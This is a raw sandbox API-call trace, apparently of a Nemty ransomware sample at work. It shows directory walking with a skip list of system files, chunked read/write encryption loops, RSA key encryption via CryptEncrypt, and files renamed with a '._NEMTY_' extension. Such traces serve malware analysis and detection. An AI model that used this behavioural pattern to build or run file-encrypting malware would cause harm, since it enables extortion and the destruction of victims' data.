WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.869] CloseHandle (hObject=0xffffffff) returned 0 [0079.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0079.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0079.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63402c8 [0079.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0079.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.869] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png._nemty_kgobjgd_")) returned 0 [0079.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0079.870] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2=".") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="..") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="...") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="windows") returned -1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="rsa") returned -1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="NTDETECT.COM") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntldr") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="MSDOS.SYS") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="IO.SYS") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="desktop.ini") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="CONFIG.SYS") returned 1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RECYCLER") returned -1 [0079.870] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0079.871] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr") returned 1 [0079.871] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="programdata") returned 1 [0079.871] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="appdata") returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0079.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0079.871] Sleep (dwMilliseconds=0x5) [0079.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3432610, dwHighDateTime=0x1d561e7)) [0079.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3432610, dwHighDateTime=0x1d561e7)) [0079.885] GetLastError () returned 0x5 [0079.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.885] GetLastError () returned 0x5 [0079.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0079.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.886] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0079.886] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="m/3O6P+c3K6cIQl5XKEZucD+PLz8IBRkHW5M4EeTVyO9iJQ+uSNuQJLNrPO5P6Et\r\ncPVLVaxtyJ4jE6lAAARulhUYAKsPyTUHFwXis6g6wHxdRIS2M5UmR+B1297GO/Ql\r\ne/piWJirDu4Uvx3h7OPSAqiLbViCBST9s5uPP/WcEsK0Bv9b3Ib6JocFVs4BRe99\r\nRZgJ36feJVqYYjAVt+SgHQrxWocKb74g1jagdMzuNZLmC5zX04EVdd1ImA5eaU2S\r\nzPj5svDsAYupti0YIyyz408r0nBeMJgP0EQPQRpC/OjLe+eDjFmkYKaXIgqbGimD\r\n0EWCA4xVMPMQgspKFNJtUA==\r\n", pcchString=0x653e91c) returned 1 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.886] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) 